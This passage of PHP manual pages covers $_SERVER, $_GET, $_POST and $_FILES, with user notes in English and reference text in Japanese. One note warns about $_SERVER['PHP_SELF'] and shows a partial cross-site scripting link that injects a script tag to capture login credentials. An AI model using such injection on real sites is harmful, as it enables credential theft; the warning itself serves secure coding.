REQUEST_TIME_FLOAT
REQUEST_TIME
argv
argc

All the rest can be overriden with environment vars, which is not very cool actually because it can break PHP applications sometimes...

(and I only tested on CLI, I had no patience to test with Apache mod_php or Nginx + PHP-FPM, but I can imagine that not a lot of $_SERVER properties are "that" secure...)
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to script parameters...

Data: $_GET
Data type: Array (map)
Purpose: Contains all GET parameters (i.e. a parsed URL query string).
Caveat: GET parameter names have to be compliant with PHP variable naming, e.g. dots are not allowed and get substituted.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['QUERY_STRING']
Data type: String
Purpose: Gets an unparsed URL query string.
Caveat: Not set on all PHP environments, may need setting via http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['argv']
Data type: Array (list)
Purpose: Get CLI call parameters.
Works on web mode: Tenuous (just contains a single parameter, the query string)
Works on CLI mode: Yes
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to URL paths...

Data: $_SERVER['PHP_SELF']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['SCRIPT_NAME']
Data type: String
Purpose: The URL path name of the current PHP file, excluding path-info and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Caveat: Not set on all PHP environments, may need setting via preg_replace('#\.php/.*#', '.php', $_SERVER['PHP_SELF']).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['REDIRECT_URL']
Data type: String
Purpose: The URL path name of the current PHP file, path-info is N/A and excluding URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL).
Caveat: Not set on all PHP environments, and definitely only ones with URL rewrites.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['REQUEST_URI']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info and including URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL). *
*: I've seen at least one situation where this is not true (there was another $_SERVER variable to use instead supplied by the URL rewriter), but the author of the URL rewriter later fixed it so probably fair to dismiss this particular note.
Caveat: Not set on all PHP environments, may need setting via $_SERVER['REDIRECT_URL'] . '?' . http_build_query($_GET) [if $_SERVER['REDIRECT_URL'] is set, and imperfect as we don't know what GET parameters were originally passed vs which were injected in the URL rewrite] --otherwise-- $_SERVER['PHP_SELF'] . '?' . http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['PATH_INFO']
Data type: String
Purpose: Find the path-info, which is data after the .php filename in the URL call. It's a strange concept.
Caveat: Some environments may not support it, it is best avoided unless you have complete server control
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to absolute paths...

Data: __FILE__
Data type: String
Purpose: The absolute pathname of the running PHP file, including the filename.
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: __DIR__
Data type: String
Purpose: The absolute pathname to the running PHP file, excluding the filename
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['SCRIPT_FILENAME']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: Not set on all PHP environments, may need setting by copying from __FILE__ before other files are included.
Caveat: Symbolic links are not pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Caveat: "Filename" makes you think it is just a filename, but it really is the full absolute pathname. Read the identifier as "Script's filesystem (path)name".
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['PATH_TRANSLATED']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: It's probably not set, best to just not use it. Just use realpath($_SERVER['SCRIPT_FILENAME']) (and be aware that itself may need to have been emulated).
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['DOCUMENT_ROOT']
Data type: String
Purpose: Get the absolute path to the web server's document root. No trailing slash.
Caveat: Don't trust this to be set, or set correctly, unless you control the server environment.
Caveat: May or may not have symbolic links pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.

Note that if you call "php --info" on the command line then naturally some of these settings are going to be blank, as no PHP file is involved.
plugwash at p10link dot net 24-Mar-2015 01:38
Be aware that it's a bad idea to access x-forwarded-for and similar headers through this array. The header names are mangled when populating the array and this mangling can introduce spoofing vulnerabilities.

See http://en.wikipedia.org/wiki/User:Brion_VIBBER/Cool_Cat_incident_report for details of a real world exploit of this.
jit_chavan at yahoo dot com 13-Feb-2014 07:26
searched $_SERVER["REDIRECT_URL"] for a while and noted that it is not mentioned in php documentation page itself. look like this is only generated by apache server(not others) and using   $_SERVER["REQUEST_URI"] will be useful in some cases as mine.
wyattstorch42 at outlook dot com 13-Jul-2013 06:18
<?php
/*
 * I wrote this because I was including a file with classes in it. Let's say that
 * I have a contact page at mysite.com/contact/index.php and a Form class at
 * mysite.com/classes/Form.php. So in index.php, I have this statement:
 * require '../classes/Form.php';
 * The Form class includes a method to generate the HTML markup for a number of
 * form elements, including a CAPTCHA image and associated text field. To do so,
 * it must generate an <img /> element and give it a src of Form.php?captcha.
 * But I wanted it to automatically generate a src attribute without index.php
 * giving it a relative path. This script comes in handy by automatically
 * locating the directory that contains the included file (Form.php) and converting
 * it from an absolute path to a relative path that could be used for an img src,
 * an a href, a link href, etc.
 */
function relativeURL () {
    $dir = str_replace('\\', '/', __DIR__);
        // Resolves inconsistency with PATH_SEPARATOR on Windows vs. Linux
        // Use dirname(__FILE__) in place of __DIR__ for older PHP versions
    return substr($dir, strlen($_SERVER['DOCUMENT_ROOT']));
        // Clip off the part of the path outside of the document root
}

/*
 *contact/index.php
 */
require '../classes/Form.php';
new Form()->drawCaptchaField();
    // Writes: <img src="/classes/Form.php?captcha" />

/*
 * classes/Form.php
 */
if (isset($_GET['captcha'])) {
    // generate/return CAPTCHA image
}

class Form {
    // ...
    public function drawCaptchaField () {
        echo '<img src="'.relativeURL().'?captcha" />';
    }
}
?>
pomat at live dot it 15-Jun-2013 02:12
$_SERVER['DOCUMENT_ROOT'] may contain backslashes on windows systems, and of course it may or may not have a trailing slash (backslash).
I saw the following as an example of the proper way we're supposed to deal with this issue:

<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php');
?>

Ok, the latter may be used to access a file inside the parent directory of the document root, but actually does not properly address the issue.
In the end, don't warry about. It should be safe to use forward slashes and append a trailing slash in all cases.
Let's say we have this:

<?php
$path = 'subdir/file.php';
$result = $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
?>

On linux $result might be something like
1) "/var/www/subdir/file.php"
2) "/var/www//subdir/file.php"
String 2 is parsed the same as string 1 (have a try with command 'cd').

On windows $result might be something like
1) "C:/apache/htdocs/subdir/file.php"
2) "C:/apache/htdocs//subdir/file.php"
3) "C:\apache\htdocs/subdir/file.php"
4) "C:\apache\htdocs\/subdir/file.php"
All those strings are parsed as "C:\apache\htdocs\subdir\file.php" (have a try with 'cd').
zeufonlinux at gmail dot com 22-Feb-2013 02:24
Just a PHP file to put on your local server (as I don't have enough memory)

 <?php
 $indicesServer = array('PHP_SELF',
'argv',
'argc',
'GATEWAY_INTERFACE',
'SERVER_ADDR',
'SERVER_NAME',
'SERVER_SOFTWARE',
'SERVER_PROTOCOL',
'REQUEST_METHOD',
'REQUEST_TIME',
'REQUEST_TIME_FLOAT',
'QUERY_STRING',
'DOCUMENT_ROOT',
'HTTP_ACCEPT',
'HTTP_ACCEPT_CHARSET',
'HTTP_ACCEPT_ENCODING',
'HTTP_ACCEPT_LANGUAGE',
'HTTP_CONNECTION',
'HTTP_HOST',
'HTTP_REFERER',
'HTTP_USER_AGENT',
'HTTPS',
'REMOTE_ADDR',
'REMOTE_HOST',
'REMOTE_PORT',
'REMOTE_USER',
'REDIRECT_REMOTE_USER',
'SCRIPT_FILENAME',
'SERVER_ADMIN',
'SERVER_PORT',
'SERVER_SIGNATURE',
'PATH_TRANSLATED',
'SCRIPT_NAME',
'REQUEST_URI',
'PHP_AUTH_DIGEST',
'PHP_AUTH_USER',
'PHP_AUTH_PW',
'AUTH_TYPE',
'PATH_INFO',
'ORIG_PATH_INFO') ;

echo '<table cellpadding="10">' ;
foreach ($indicesServer as $arg) {
    if (isset($_SERVER[$arg])) {
        echo '<tr><td>'.$arg.'</td><td>' . $_SERVER[$arg] . '</td></tr>' ;
    }
    else {
        echo '<tr><td>'.$arg.'</td><td>-</td></tr>' ;
    }
}
echo '</table>' ;

/*

That will give you the result of each variable like (if the file is server_indices.php at the root and Apache Web directory is in E:\web) :

PHP_SELF    /server_indices.php
argv    -
argc    -
GATEWAY_INTERFACE    CGI/1.1
SERVER_ADDR    127.0.0.1
SERVER_NAME    localhost
SERVER_SOFTWARE    Apache/2.2.22 (Win64) PHP/5.3.13
SERVER_PROTOCOL    HTTP/1.1
REQUEST_METHOD    GET
REQUEST_TIME    1361542579
REQUEST_TIME_FLOAT    -
QUERY_STRING
DOCUMENT_ROOT    E:/web/
HTTP_ACCEPT    text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET    ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP_ACCEPT_ENCODING    gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE    fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
HTTP_CONNECTION    keep-alive
HTTP_HOST    localhost
HTTP_REFERER    http://localhost/
HTTP_USER_AGENT    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17
HTTPS    -
REMOTE_ADDR    127.0.0.1
REMOTE_HOST    -
REMOTE_PORT    65037
REMOTE_USER    -
REDIRECT_REMOTE_USER    -
SCRIPT_FILENAME    E:/web/server_indices.php
SERVER_ADMIN    myemail@personal.us
SERVER_PORT    80
SERVER_SIGNATURE
PATH_TRANSLATED    -
SCRIPT_NAME    /server_indices.php
REQUEST_URI    /server_indices.php
PHP_AUTH_DIGEST    -
PHP_AUTH_USER    -
PHP_AUTH_PW    -
AUTH_TYPE    -
PATH_INFO    -
ORIG_PATH_INFO    -

*/
?>
krinklemail at gmail dot com 05-Dec-2012 11:39
If requests to your PHP script send a header "Content-Type" or/ "Content-Length" it will, contrary to regular HTTP headers, not appear in $_SERVER as $_SERVER['HTTP_CONTENT_TYPE']. PHP removes these (per CGI/1.1 specification[1]) from the HTTP_ match group.

They are still accessible, but only if the request was a POST request. When it is, it'll be available as:
$_SERVER['CONTENT_LENGTH']
$_SERVER['CONTENT_TYPE']

[1] https://www.ietf.org/rfc/rfc3875
Tom 06-Sep-2012 08:28
Be warned that most contents of the Server-Array (even $_SERVER['SERVER_NAME']) are provided by the client and can be manipulated. They can also be used for injections and thus MUST be checked and treated like any other user input.
picov at e-link dot it 13-Oct-2011 10:59
A simple function to detect if the current page address was rewritten by mod_rewrite:

<?php
public function urlWasRewritten() {
  $realScriptName=$_SERVER['SCRIPT_NAME'];
  $virtualScriptName=reset(explode("?", $_SERVER['REQUEST_URI']));
  return !($realScriptName==$virtualScriptName);
}
?>
MarkAgius at markagius dot co dot uk 31-Aug-2011 02:18
You have missed 'REDIRECT_STATUS'

Very useful if you point all your error pages to the same file.

File; .htaccess
# .htaccess file.

ErrorDocument 404 /error-msg.php
ErrorDocument 500 /error-msg.php
ErrorDocument 400 /error-msg.php
ErrorDocument 401 /error-msg.php
ErrorDocument 403 /error-msg.php
# End of file.

File; error-msg.php
<?php
  $HttpStatus = $_SERVER["REDIRECT_STATUS"] ;
  if($HttpStatus==200) {print "Document has been processed and sent to you.";}
  if($HttpStatus==400) {print "Bad HTTP request ";}
  if($HttpStatus==401) {print "Unauthorized - Iinvalid password";}
  if($HttpStatus==403) {print "Forbidden";}
  if($HttpStatus==500) {print "Internal Server Error";}
  if($HttpStatus==418) {print "I'm a teapot! - This is a real value, defined in 1998";}

?>
rulerof at gmail dot com 17-Nov-2010 10:12
I needed to get the full base directory of my script local to my webserver, IIS 7 on Windows 2008.

I ended up using this:

<?php
function GetBasePath() {
    return substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\")));
}
?>

And it returned C:\inetpub\wwwroot\<applicationfolder> as I had hoped.
Stefano (info at sarchittu dot org) 12-Nov-2010 06:07
A way to get the absolute path of your page, independent from the site position (so works both on local machine and on server without setting anything) and from the server OS (works both on Unix systems and Windows systems).

The only parameter it requires is the folder in which you place this script
So, for istance, I'll place this into my SCRIPT folder, and I'll write SCRIPT word length in $conflen

<?php
$conflen=strlen('SCRIPT');
$B=substr(__FILE__,0,strrpos(__FILE__,'/'));
$A=substr($_SERVER['DOCUMENT_ROOT'], strrpos($_SERVER['DOCUMENT_ROOT'], $_SERVER['PHP_SELF']));
$C=substr($B,strlen($A));
$posconf=strlen($C)-$conflen-1;
$D=substr($C,1,$posconf);
$host='http://'.$_SERVER['SERVER_NAME'].'/'.$D;
?>

$host will finally contain the absolute path.
dtomasiewicz at gmail dot com 14-Aug-2010 08:03
To get an associative array of HTTP request headers formatted similarly to get_headers(), this will do the trick:

<?php
/**
 * Transforms $_SERVER HTTP headers into a nice associative array. For example:
 *   array(
 *       'Referer' => 'example.com',
 *       'X-Requested-With' => 'XMLHttpRequest'
 *   )
 */
function get_request_headers() {
    $headers = array();
    foreach($_SERVER as $key => $value) {
        if(strpos($key, 'HTTP_') === 0) {
            $headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))] = $value;
        }
    }
    return $headers;
}
?>
wbeaumo1 at gmail dot com 13-Jun-2010 08:43
Don't forget $_SERVER['HTTP_COOKIE']. It contains the raw value of the 'Cookie' header sent by the user agent.
php at isnoop dot net 01-Apr-2010 09:38
Use the apache SetEnv directive to set arbitrary $_SERVER variables in your vhost or apache config.

SetEnv varname "variable value"
mirko dot steiner at slashdevslashnull dot de 24-Oct-2009 02:43
<?php

// RFC 2616 compatible Accept Language Parser
// http://www.ietf.org/rfc/rfc2616.txt, 14.4 Accept-Language, Page 104
// Hypertext Transfer Protocol -- HTTP/1.1

foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
    $pattern = '/^(?P<primarytag>[a-zA-Z]{2,8})'.
    '(?:-(?P<subtag>[a-zA-Z]{2,8}))?(?:(?:;q=)'.
    '(?P<quantifier>\d\.\d))?$/';

    $splits = array();

    printf("Lang:,,%s''\n", $lang);
    if (preg_match($pattern, $lang, $splits)) {
        print_r($splits);
    } else {
        echo "\nno match\n";
    }
}

?>

example output:

Google Chrome 3.0.195.27 Windows xp

Lang:,,de-DE''
Array
(
    [0] => de-DE
    [primarytag] => de
    [1] => de
    [subtag] => DE
    [2] => DE
)
Lang:,,de;q=0.8''
Array
(
    [0] => de;q=0.8
    [primarytag] => de
    [1] => de
    [subtag] =>
    [2] =>
    [quantifier] => 0.8
    [3] => 0.8
)
Lang:,,en-US;q=0.6''
Array
(
    [0] => en-US;q=0.6
    [primarytag] => en
    [1] => en
    [subtag] => US
    [2] => US
    [quantifier] => 0.6
    [3] => 0.6
)
Lang:,,en;q=0.4''
Array
(
    [0] => en;q=0.4
    [primarytag] => en
    [1] => en
    [subtag] =>
    [2] =>
    [quantifier] => 0.4
    [3] => 0.4
)
Lord Mac 14-Oct-2009 07:56
An even *more* improved version...

<?php
phpinfo(32);
?>
steve at sc-fa dot com 17-Sep-2009 12:20
If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy.

$_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR']

$_SERVER['HTTP_X_FORWARDED_HOST'] and
$_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME']
cupy at email dot cz 20-Aug-2009 08:24
Tech note:
$_SERVER['argc'] and $_SERVER['argv'][] has some funny behaviour,
used from linux (bash) commandline, when called like
"php ./script_name.php 0x020B"
there is everything correct, but
"./script_name.php 0x020B"
is not correct - "0" is passed instead of "0x020B" as $_SERVER['argv'][1] - see the script below.
Looks like the parameter is not passed well from bash to PHP.
(but, inspected on the level of bash, 0x020B is understood well as $1)

try this example:

------------->8------------------
cat ./script_name.php
#! /usr/bin/php

if( $_SERVER['argc'] == 2)
  {
    // funny... we have to do this trick to pass e.g. 0x020B from parameters
    // ignore this: "PHP Notice:  Undefined offset:  2 in ..."
    $EID = $_SERVER['argv'][1] + $_SERVER['argv'][2] + $_SERVER['argv'][3];
  }
 else
   {        // default
     $EID = 0x0210; // PPS failure
   }
jarrod at squarecrow dot com 10-Aug-2009 08:31
$_SERVER['DOCUMENT_ROOT'] is incredibly useful especially when working in your development environment. If you're working on large projects you'll likely be including a large number of files into your pages. For example:

<?php
//Defines constants to use for "include" URLS - helps keep our paths clean

        define("REGISTRY_CLASSES",  $_SERVER['DOCUMENT_ROOT']."/SOAP/classes/");
        define("REGISTRY_CONTROLS", $_SERVER['DOCUMENT_ROOT']."/SOAP/controls/");

        define("STRING_BUILDER",     REGISTRY_CLASSES. "stringbuilder.php");
        define("SESSION_MANAGER",     REGISTRY_CLASSES. "sessionmanager.php");
        define("STANDARD_CONTROLS",    REGISTRY_CONTROLS."standardcontrols.php");
?>

In development environments, you're rarely working with your root folder, especially if you're running PHP locally on your box and using DOCUMENT_ROOT is a great way to maintain URL conformity. This will save you hours of work preparing your application for deployment from your box to a production server (not to mention save you the headache of include path failures).
Richard York 09-Jul-2009 11:19
Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell.

 ["_SERVER"]=>
  array(24) {
    ["MANPATH"]=>
    string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man"
    ["TERM"]=>
    string(11) "xterm-color"
    ["SHELL"]=>
    string(9) "/bin/bash"
    ["SSH_CLIENT"]=>
    string(20) "127.0.0.1 41242 22"
    ["OLDPWD"]=>
    string(60) "/Library/WebServer/Domains/www.example.com/private"
    ["SSH_TTY"]=>
    string(12) "/dev/ttys000"
    ["USER"]=>
    string(5) "username"
    ["MAIL"]=>
    string(15) "/var/mail/username"
    ["PATH"]=>
    string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin"
    ["PWD"]=>
    string(56) "/Library/WebServer/Domains/www.example.com/www"
    ["SHLVL"]=>
    string(1) "1"
    ["HOME"]=>
    string(12) "/Users/username"
    ["LOGNAME"]=>
    string(5) "username"
    ["SSH_CONNECTION"]=>
    string(31) "127.0.0.1 41242 10.0.0.1 22"
    ["_"]=>
    string(12) "/usr/bin/php"
    ["__CF_USER_TEXT_ENCODING"]=>
    string(9) "0x1F5:0:0"
    ["PHP_SELF"]=>
    string(10) "Shell.php"
    ["SCRIPT_NAME"]=>
    string(10) "Shell.php"
    ["SCRIPT_FILENAME"]=>
    string(10) "Shell.php"
    ["PATH_TRANSLATED"]=>
    string(10) "Shell.php"
    ["DOCUMENT_ROOT"]=>
    string(0) ""
    ["REQUEST_TIME"]=>
    int(1247162183)
    ["argv"]=>
    array(1) {
      [0]=>
      string(10) "Shell.php"
    }
    ["argc"]=>
    int(1)
  }
chris 02-Jul-2009 04:01
A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo();
pudding06 at gmail dot com 02-May-2009 02:44
Here's a simple, quick but effective way to block unwanted external visitors to your local server:

<?php
// only local requests
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die(header("Location: /"));
?>

This will direct all external traffic to your home page. Of course you could send a 404 or other custom error. Best practice is not to stay on the page with a custom error message as you acknowledge that the page does exist. That's why I redirect unwanted calls to (for example) phpmyadmin.
Vladimir Kornea 13-Mar-2009 05:06
1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted.

2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'.

3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:

<a href='http://www.example.com/login.php/"><script type="text/javascript">...</script><span a="'>Example.com</a>

The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an <img> tag an external file, with the submitted username and password as parameters.

Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
info at mtprod dot com 23-Jan-2009 02:13
On Windows IIS 7 you must use $_SERVER['LOCAL_ADDR'] rather than $_SERVER['SERVER_ADDR'] to get the server's IP address.
jonbarnett at gmail dot com 23-Nov-2008 09:13
It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent:

If the browser sends an HTTP request header of:
X-Debug-Custom: some string

Then:

<?php
$_SERVER['HTTP_X_DEBUG_CUSTOM']; // "some string"
?>

There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers.

Works in PHP5 on Apache with mod_php.  Don't know if this is true from other environments.
jette at nerdgirl dot dk 01-Nov-2008 11:43
Windows running IIS v6 does not include $_SERVER['SERVER_ADDR']

If you need to get the IP addresse, use this instead:

<?php
$ipAddress = gethostbyname($_SERVER['SERVER_NAME']);
?>
Tonin 16-Sep-2008 10:43
When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive.  If it is On, this variable will always have the apache ServerName value.  If it is Off, it will have the value given by the headers sent by the browser.

Depending on what you want to do the content of this variable, put in On or Off.
silverquick at gmail dot com 05-Aug-2008 05:55
I think the HTTPS element will only be present under Apache 2.x. It's not in the list of "special" variables here:
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond
But it is here:
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond


HTTP GET 変数

  • ≪ $_SERVER
  • $_POST ≫
  • PHP Manual
  • 定義済の変数
  • HTTP GET 変数

$_GET

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_GET — HTTP GET 変数

説明

URL パラメータ (a.k.a クエリストリング) で現在のスクリプトに渡された変数の連想配列です。 この配列の値は、GETリクエストだけでなく、クエリストリングが含まれた全てのリクエストで収集されることに注意して下さい。

例

例1 $_GET の例

<?php
echo 'Hello ' . htmlspecialchars($_GET["name"]) . '!';
?>

ユーザーが http://example.com/?name=Hannes と入力したとします。

上の例の出力は、 たとえば以下のようになります。

Hello Hannes!

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

注意:

GET 変数は urldecode() 関数を介して渡されます。

参考

  • 外部からくる変数の処理
  • filter 拡張モジュール

User Contributed Notes

There are no user contributed notes for this page.


HTTP POST 変数

  • ≪ $_GET
  • $_FILES ≫
  • PHP Manual
  • 定義済の変数
  • HTTP POST 変数

$_POST

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_POST — HTTP POST 変数

説明

Content-Type に application/x-www-form-urlencoded あるいは multipart/form-data を用いた HTTP リクエストで、 HTTP POST メソッドから現在のスクリプトに渡された変数の連想配列です。

例

例1 $_POST の例

<?php
echo 'Hello ' . htmlspecialchars($_POST["name"]) . '!';
?>

ユーザーが name=Hannes と POST したとします。

上の例の出力は、 たとえば以下のようになります。

Hello Hannes!

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • 外部からくる変数の処理
  • filter 拡張モジュール

User Contributed Notes

php (at) vxvr /dot de 03-Jan-2021 04:13
If you want to receive application/json post data in your script you can not use $_POST. $_POST does only handle form data.
Read from php://input instead. You can use fopen or file_get_contents.

Example:

<?php
// Get the JSON contents
$json = file_get_contents('php://input');

// decode the json data
$data = json_decode($json);
 ?>
alexiskarad at gmail dot com 11-Jan-2017 02:04
Something interesting which might help someone else:
If your input field in HTML is "disabled", even if it contains text, $_POST will not return/contain any value.
As an alternative, you can use "readonly" in your input field.
woodhavenbp at yahoo dot com 15-Jul-2016 04:21
There's an earlier note here about correctly referencing elements in $_POST which is accurate.  $_POST is an associative array indexed by form element NAMES, not IDs.  One way to think of it is like this:  element "id=" is for CSS, while element "name=" is for PHP.  If you are referring to your element ID in the POST array, it won't work.  You must assign a name attribute to your element to reference it correctly in the POST array.  These two attributes can be the same for simplicity, i.e.,
<input type="text" id="txtForm" name="txtForm">...</input>
darren_wheatley at hotmail dot com 13-Aug-2015 03:08
I know it's a pretty basic thing but I had issues trying to access the $_POST variable on a form submission from my HTML page. It took me ages to work out and I couldn't find the help I needed in google. Hence this post.

Make sure your input items have the NAME attribute. The id attribute is not enough! The name attribute on your input controls is what $_POST uses to index the data and therefore show the results.
CXJ 10-Mar-2014 08:18
Note that $_POST is NOT set for all HTTP POST operations,  but only for specific types of POST operations.  I have not been able to find documentation, but here's what I've found so far.

$_POST _is_ set for:

Content-Type: application/x-www-form-urlencoded

In other words,  for standard web forms.

$_POST is NOT set for:

Content-Type:text/xml

A type used for a generic HTTP POST operation.
james dot ellis at gmail dot com 14-Dec-2008 05:38
One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names.

I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you:

Example pseudo code:

Many web sites do this:

<form ....>
<input name="person_0_first_name" value="john" />
<input name="person_0_last_name" value="smith" />
...

<input name="person_1_first_name" value="jane" />
<input name="person_1_last_name" value="jones" />
</form>

When they could do this:

<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>

With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like:
<?php
var_dump($_POST['person']);
//will get you something like:
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>

This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks.

Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly.
paul at youngish dot homelinux^org 08-Dec-2008 01:09
For a page with multiple forms here is one way of processing the different POST values that you may receive.  This code is good for when you have distinct forms on a page.  Adding another form only requires an extra entry in the array and switch statements.

<?php

 if (!empty($_POST))
 {
    // Array of post values for each different form on your page.
    $postNameArr = array('F1_Submit', 'F2_Submit', 'F3_Submit');

    // Find all of the post identifiers within $_POST
    $postIdentifierArr = array();

    foreach ($postNameArr as $postName)
    {
        if (array_key_exists($postName, $_POST))
        {
             $postIdentifierArr[] = $postName;
        }
    }

    // Only one form should be submitted at a time so we should have one
    // post identifier.  The die statements here are pretty harsh you may consider
    // a warning rather than this.
    if (count($postIdentifierArr) != 1)
    {
        count($postIdentifierArr) < 1 or
            die("\$_POST contained more than one post identifier: " .
               implode(" ", $postIdentifierArr));

        // We have not died yet so we must have less than one.
        die("\$_POST did not contain a known post identifier.");
    }

    switch ($postIdentifierArr[0])
    {
    case 'F1_Submit':
       echo "Perform actual code for F1_Submit.";
       break;

    case 'Modify':
       echo "Perform actual code for F2_Submit.";
       break;

    case 'Delete':
       echo "Perform actual code for F3_Submit.";
       break;
    }
}
else // $_POST is empty.
{
    echo "Perform code for page without POST data. ";
}
?>


HTTP ファイルアップロード変数

  • ≪ $_POST
  • $_REQUEST ≫
  • PHP Manual
  • 定義済の変数
  • HTTP ファイルアップロード変数

$_FILES

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_FILES — HTTP ファイルアップロード変数

説明

HTTP POST メソッドで現在のスクリプトにアップロードされた項目の連想配列です。 この配列の構造については POST メソッドによるアップロード を参照ください。

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • move_uploaded_file() - アップロードされたファイルを新しい位置に移動する
  • ファイルアップロードの処理

User Contributed Notes

